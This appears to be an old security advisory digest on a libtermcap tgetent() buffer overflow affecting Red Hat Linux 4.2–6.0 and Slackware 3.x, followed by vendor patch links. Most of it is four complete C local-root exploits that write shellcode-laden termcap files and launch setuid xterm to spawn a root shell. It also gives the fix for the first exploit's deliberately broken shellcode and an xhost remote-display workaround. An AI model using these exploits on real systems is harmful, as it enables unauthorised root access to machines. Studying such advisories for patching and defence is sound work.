COMMAND

    libtermcap tgetent()

SYSTEMS AFFECTED

    Red Hat Linux 4.2, 5.2, 6.0, all architectures, SlackWare 3.x

PROBLEM

    Following  is  based  on  Red  Hat  Security  Advisory.   A buffer
    overflow existed in  libtermcap's tgetent() function,  which could
    cause the  user to  execute arbitrary  code if  they were  able to
    supply their own termcap file.   Under Red Hat Linux 5.2 and  4.2,
    this could lead to local  users gaining root privileges, as  xterm
    (as well  as other  possibly setuid  programs) are  linked against
    libtermcap. Under  Red Hat  Linux 6.0,  xterm is  not setuid root.
    Thanks go  to Kevin  Vajk and  the Linux  Security Audit  team for
    noting and providing a fix for this vulnerability.

    'sk8' wrote  this a  little while  back.   This is  a serious bug,
    so people  should be  able to  test their  systems properly.   All
    admins should definitely upgrade to the newest libtermcap.

    /* Local exploit for suid root programs linked to libtermcap < 2.0.8-15
     *
     * tested with xterm and nxterm on RedHat 5.2 and 4.2
     *
     * sk8@lucid-solutions.com
     * http://www.lucid-solutions.com
     *
     * Usage:
     * ./smashcap           -default is buffer size of 4210 and offset of 300
     *                       and seems to work on RH 5.2
     *
     * Adjust offsets (somewhere between 230 - 1140) if necessary
     *
     * ./smashcap <offset>  -buffer size defaults to 4210
     * ./smashcap <offset> <buffersize>
     *
     *
     * In order to stop script kids/opportunists, one MINOR change must be
     * made in order for this to work.
     *
     * Use only to test your machines to show you that you must patch libtermcap.
     * Quick fix, chmod u-s ALL suid root programs linked with libtermcap.
     *
     *                                              - sk8 of LS
     *
     */

    #include <stdlib.h>
    #include <unistd.h>
    #include <fcntl.h>

    #define filename "/tmp/lstermcap"
    #define entry1   "xterm|"
    #define DEFAULT_BUFSIZE 4210

    char shellcode[] =
      "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
      "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
      "\x80\xe8\xdc\xff\xff\xff\xff/bin/sh"; /* Linux shellcode */

    long get_sp(void)
    {
       __asm__("movl %esp, %eax\n");
    }

    int main(int argc, char *argv[]) {
       int bufsize, offset, i, fd;
       long *bufptr;
       char *ptr, *buffer, *tempbuf;

       setenv("TERMCAP", "/tmp/lstermcap", 1);


       bufsize=DEFAULT_BUFSIZE;

       if (argc > 2) bufsize=atoi(argv[2]);
       if (argc > 1) offset=atoi(argv[1]);
       else offset=300;


       printf("bufsize: %i\noffset: %i\n", bufsize,offset);

       if(!(buffer = malloc(bufsize))) {
          printf("can't allocate enough memory\n");
          exit(0);
       }
      if(!(tempbuf = malloc(bufsize+strlen(entry1) ))) {
          printf("can't allocate enough memory\n");
          exit(0);
       }

       printf("get_sp(): 0x%x\n", get_sp());
       printf("get_sp()-offs: 0x%x\n", (get_sp()-offset) );

       ptr=buffer;
       bufptr = (long *)(buffer+2); /* align */

       for (i = 0; i < bufsize; i += 4)
            *(bufptr++) = (get_sp()-offset);

            for (i = 0; i < (bufsize/2); i++)
                     buffer[i] = 0x90;

            ptr=buffer + ((bufsize/2) - strlen(shellcode)/2);
            for (i = 0; i < strlen(shellcode); i++)
                    *(ptr++) = shellcode[i]; //shellcode


            ptr=ptr+24;

            /* now insert the characters : and \ into the termcap - these are vital
    */
            *(ptr++)=0x3a;
            *(ptr++)=0x5c;


            snprintf(tempbuf, (bufsize+strlen(entry1)), "%s%s%s", entry1, buffer);
            fd = open(filename, O_WRONLY|O_CREAT|O_TRUNC, 0666);
            write (fd, tempbuf, strlen(tempbuf));
            close(fd);
            printf("made termcap\n");

            execl("/usr/X11R6/bin/xterm","xterm", 0);

    }

    To make the  smashcap.c work ,  all you have  to do is  remove one
    0xff character before /bin/sh in  the shellcode so the line  would
    be:

        "\x80\xe8\xdc\xff\xff\xff/bin/sh"

    instead of:

        "\x80\xe8\xdc\xff\xff\xff\xff/bin/sh"

    Also, you'll have to be on console running x to exploit it, but if
    you have another box where you can start x then it's ok

        myhost$ startx;xhost +victim.com
        victim$ ./smashcap

    and modify the last line from the smashcap.c into

        execl("/usr/X11R6/bin/xterm","xterm", "-display", "victim.com:0", 0);

    Well,  it  works  on  most  redhats  (tested  on 5.1 and 5.2).  On
    slackware it sigsegv's, you need to work a little bit.

    Jose Luis Martinez Arranz posted another libtermcap xterm exploit:

    /*
       ****************************************************
       ***          libtermcap xterm exploit            ***
       ***                by m0f0 1999                  ***
       ***                                              ***
       ***          it works for xterm/nxterm           ***
       ***  Tested Slackware 3.2, 3.3, 3.5, 3.6 & RH5.2 ***
       ****************************************************
    */

    #include <stdio.h>
    #define BUF_SIZE 5000
    #define POS_RET  2000
    #define POS_SEP  3000
    #define RETADDR  0xbfffefef
    #define EGG      "/tmp/egg_termcap"

    // shellcode
    char shellcode[] = // 48 caracteres
        "\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
        "\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
        "\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
        "\xff\xff/bin/sh";

    void main (int argc, char *argv[]) {
      int i;
      FILE *f;
      char buf[BUF_SIZE];
      long retaddr, offset;

      printf ("\n");
      printf ("****************************************** \n");
      printf ("* libtermcap xterm exploit, by m0f0 1999 * \n");
      printf ("****************************************** \n\n");
      printf ("Use : %s [offset] \n", argv[0]);

      offset = 0;
      if (argc>1) {
        offset = atol (argv[1]);
      }

      retaddr = RETADDR + offset;
      printf ("Return Address = 0x%x \n",retaddr);


      // Fill buffer with NOP's
      memset (buf, 0x90, BUF_SIZE);
      buf[BUF_SIZE]=0;

      // Set termcap file header and sep
      memcpy (buf, "xterm|", 6);
      memcpy (buf+POS_SEP,":\\",2);

      // Return Address
      for (i=POS_RET; i<=POS_SEP-10; i+=4) {
        *(long*)(buf+i) = (long) retaddr;
      }

      // Copy shellCode
      for (i=0; i<strlen(shellcode); i++) {
        buf[i+2000] = shellcode[i];
      }

      // Write EGG_TERMCAP
      f = fopen (EGG,"w");
      fprintf (f,"%s",buf);
      fclose (f);

      // Export TERMCAP
      setenv ("TERMCAP", EGG, 1);

      // Run program
      execl ("/usr/X11R6/bin/xterm","xterm",NULL);

    }

    Taeho Oh has his version of it:

    /*
	    xterm exploit code for x86 linux
	    tgetent function buffer overflow

	    Local user can gain root access.

	    Tested redhat linux : 5.0, 5.1
	    Tested termcap : 9.12.6

	    Usage
	    $ xterm-ex 0
	               |
	               +------ try from -2000 to 2000 ( try in steps of 500 )

	    This program is only for demonstrative use only.
	    USE IT AT YOUR OWN RISK!

	    Programmed by Taeho Oh 1999/08/31


    Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara
    PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus
    PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug

    */

    #include <stdio.h>
    #include <stdlib.h>

    #define OFFSET                        -2000
    #define RET_POSITION                   3160
    #define RANGE                            20
    #define NOP                            0x90

    char shellcode[1024]=
	    "\xeb\x1f"                      /* jmp 0x1f             */
	    "\x5e"                          /* popl %esi            */
	    "\x89\x76\x08"                  /* movl %esi,0x8(%esi)  */
	    "\x31\xc0"                      /* xorl %eax,%eax       */
	    "\x88\x46\x07"                  /* movb %eax,0x7(%esi)  */
	    "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)  */
	    "\xb0\x0b"                      /* movb $0xb,%al        */
	    "\x89\xf3"                      /* movl %esi,%ebx       */
	    "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx  */
	    "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx  */
	    "\xcd\x80"                      /* int $0x80            */
	    "\x31\xdb"                      /* xorl %ebx,%ebx       */
	    "\x89\xd8"                      /* movl %ebx,%eax       */
	    "\x40"                          /* inc %eax             */
	    "\xcd\x80"                      /* int $0x80            */
	    "\xe8\xdc\xff\xff\xff"          /* call -0x24           */
	    "/bin/sh";                      /* .string \"/bin/sh\"  */


    unsigned long get_esp(void)
    {
	    __asm__("movl %esp,%eax");
    }


    int main(int argc,char **argv)
    {
	    char buff[RET_POSITION+RANGE+1],*ptr;
	    long *addr_ptr,addr;
	    unsigned long sp;
	    int offset=OFFSET,bsize=RET_POSITION+RANGE+1;
	    int i;
	    FILE *file;

	    printf("Taeho Oh ( ohhara@postech.edu )                   http://postech.edu/~ohhara\n");
	    printf("PLUS ( Postech Laboratory for Unix Security )        http://postech.edu/plus\n");
	    printf("PosLUG ( Postech Linux User Group )          http://postech.edu/group/poslug\n\n");

	    if(argc>1)
		    offset+=atoi(argv[1]);

	    sp=get_esp();
	    addr=sp-offset;

	    ptr=buff;
	    addr_ptr=(long*)ptr;
	    for(i=0;i<bsize;i+=4)
		    *(addr_ptr++)=addr;

	    for(i=0;i<bsize-RANGE*2-strlen(shellcode);i++)
		    buff[i]=NOP;

	    ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
	    for(i=0;i<strlen(shellcode);i++)
		    *(ptr++)=shellcode[i];

	    buff[bsize-1]='\0';
	    buff[bsize-2]='A';
	    buff[bsize-3]='\\';
	    buff[bsize-4]=':';

	    buff[0]='x';
	    buff[1]='t';
	    buff[2]='e';
	    buff[3]='r';
	    buff[4]='m';
	    buff[5]='|';

	    file=fopen("/tmp/termcap","w");
	    fwrite(buff,sizeof(char),bsize,file);
	    fclose(file);

	    putenv("TERMCAP=/tmp/termcap");

	    printf("Jump to 0x%08x\n",addr);
	    execl("/usr/X11R6/bin/xterm",0);
    }

    Huh, another one:

    #include <stdio.h>
    #include <stdlib.h>
    #include <string.h>
    #include <fcntl.h>
    #include <unistd.h>
    
    // yet another lame libtermcap<2.0.8-15 sploit by typo@scene.at (libc jumpback)
    // only made this to bypass nonexecutable stack patches - http://teso.scene.at/
    
    // Redhat 6 offsets (i only needed these)
    int sys = 0x401bca40; // system
    int sh = 0x4025ab12;  // /bin/sh
    int exi = 0x4020b910; // _exit
    int ran = 0x401b9928; // random offset in libc
    int eip = 2136;
    #define fil "/tmp/teso_termcap"
    #define xte "/usr/X11R6/bin/xterm"
    #define entry "xterm|"
    
    int main(int argc, char **argv) {
        char *buf;
        int fd, buflen;
    
        argv++;
    
        if (argc>1) // dec,!hex args
   	    sys = atoi(*(argv++));
        if (argc>2)
   	    sh = atoi(*(argv++));
        if (argc>3)
   	    exi = atoi(*(argv++));
        if (argc>4)
   	    eip = atoi(*(argv++));
    
        buflen = eip + 20;
    
        buf = (char *) malloc(buflen);
        memset(buf, 'x', buflen);
        buf[buflen] = 0;
    
        memcpy(buf, entry, strlen(entry));
        memcpy (buf+buflen-4,":\\y",3);
    
        memcpy(buf+eip,&sys,4);
        memcpy(buf+eip+4,&exi,4);
        memcpy(buf+eip+8,&sh,4);
        memcpy(buf+eip+12,&ran,4);
    
        if ( (fd = open(fil, O_WRONLY|O_CREAT|O_TRUNC, "644"))<0) {
	    perror("cannot create file");
	    exit(EXIT_FAILURE);
        }
    
        write(fd,buf,buflen);
        close(fd);
        free(buf);
    
        setenv("TERMCAP", fil, 1);
        execl(xte, "xterm", NULL);
        exit(EXIT_SUCCESS);
    }

SOLUTION
    
    Patches:

        ftp://ftp.redhat.com/redhat/updates/4.2/i386/libtermcap-2.0.8-14.4.2.i386.rpm
        ftp://ftp.redhat.com/redhat/updates/4.2/i386/libtermcap-devel-2.0.8-14.4.2.i386.rpm
        ftp://ftp.redhat.com/redhat/updates/4.2/alpha/libtermcap-2.0.8-14.4.2.alpha.rpm
        ftp://ftp.redhat.com/redhat/updates/4.2/alpha/libtermcap-devel-2.0.8-14.4.2.alpha.rpm
        ftp://ftp.redhat.com/redhat/updates/4.2/sparc/libtermcap-2.0.8-14.4.2.sparc.rpm
        ftp://ftp.redhat.com/redhat/updates/4.2/sparc/libtermcap-devel-2.0.8-14.4.2.sparc.rpm
        ftp://ftp.redhat.com/redhat/updates/4.2/SRPMS/libtermcap-2.0.8-14.4.2.src.rpm

        ftp://ftp.redhat.com/redhat/updates/5.2/i386/libtermcap-2.0.8-14.5.2.i386.rpm
        ftp://ftp.redhat.com/redhat/updates/5.2/i386/libtermcap-devel-2.0.8-14.5.2.i386.rpm
        ftp://ftp.redhat.com/redhat/updates/5.2/alpha/libtermcap-2.0.8-14.5.2.alpha.rpm
        ftp://ftp.redhat.com/redhat/updates/5.2/alpha/libtermcap-devel-2.0.8-14.5.2.alpha.rpm
        ftp://ftp.redhat.com/redhat/updates/5.2/sparc/libtermcap-2.0.8-14.5.2.sparc.rpm
        ftp://ftp.redhat.com/redhat/updates/5.2/sparc/libtermcap-devel-2.0.8-14.5.2.sparc.rpm
        ftp://ftp.redhat.com/redhat/updates/5.2/SRPMS/libtermcap-2.0.8-14.5.2.src.rpm

        ftp://ftp.redhat.com/redhat/updates/6.0/i386/libtermcap-2.0.8-15.i386.rpm
        ftp://ftp.redhat.com/redhat/updates/6.0/i386/libtermcap-devel-2.0.8-15.i386.rpm
        ftp://ftp.redhat.com/redhat/updates/6.0/alpha/libtermcap-2.0.8-15.alpha.rpm
        ftp://ftp.redhat.com/redhat/updates/6.0/alpha/libtermcap-devel-2.0.8-15.alpha.rpm
        ftp://ftp.redhat.com/redhat/updates/6.0/sparc/libtermcap-2.0.8-15.sparc.rpm
        ftp://ftp.redhat.com/redhat/updates/6.0/sparc/libtermcap-devel-2.0.8-15.sparc.rpm
        ftp://ftp.redhat.com/redhat/updates/6.0/SRPMS/libtermcap-2.0.8-15.src.rpm

    Debian itself  is not  exploitable by  this bug  since termcap was
    abandoned in favour  of terminfo long  ago.  However,  if you have
    compiled your own programs  using termcap or have  installed third
    party programs that depend on libtermcap and run as root they  are
    exploitable.

        ftp://ftp.debian.org/debian/dists/slink-proposed-updates/termcap-compat_1.1.1.1.0slink1.dsc
        ftp://ftp.debian.org/debian/dists/slink-proposed-updates/termcap-compat_1.1.1.1.0slink1.tar.gz
        ftp://ftp.debian.org/debian/dists/slink-proposed-updates/termcap-compat_1.1.1.1.0slink1_sparc.deb

        ftp://ftp.debian.org/debian/dists/slink-proposed-updates/termcap-compat_1.1.1.1.0slink1_i386.deb

        ftp://ftp.debian.org/debian/dists/slink-proposed-updates/termcap-compat_1.1.1.1.0slink1_m68k.deb

        ftp://ftp.debian.org/debian/dists/slink-proposed-updates/termcap-compat_1.1.1.1.0slink1_alpha.deb

    Caldera  OpenLinux  has  stopped  using  termcap  altogether since
    release 2.2.  Doing an rpm -qlv ncurses-termcap-devel reveals that
    libtermcap.so is a symlink to libncurses.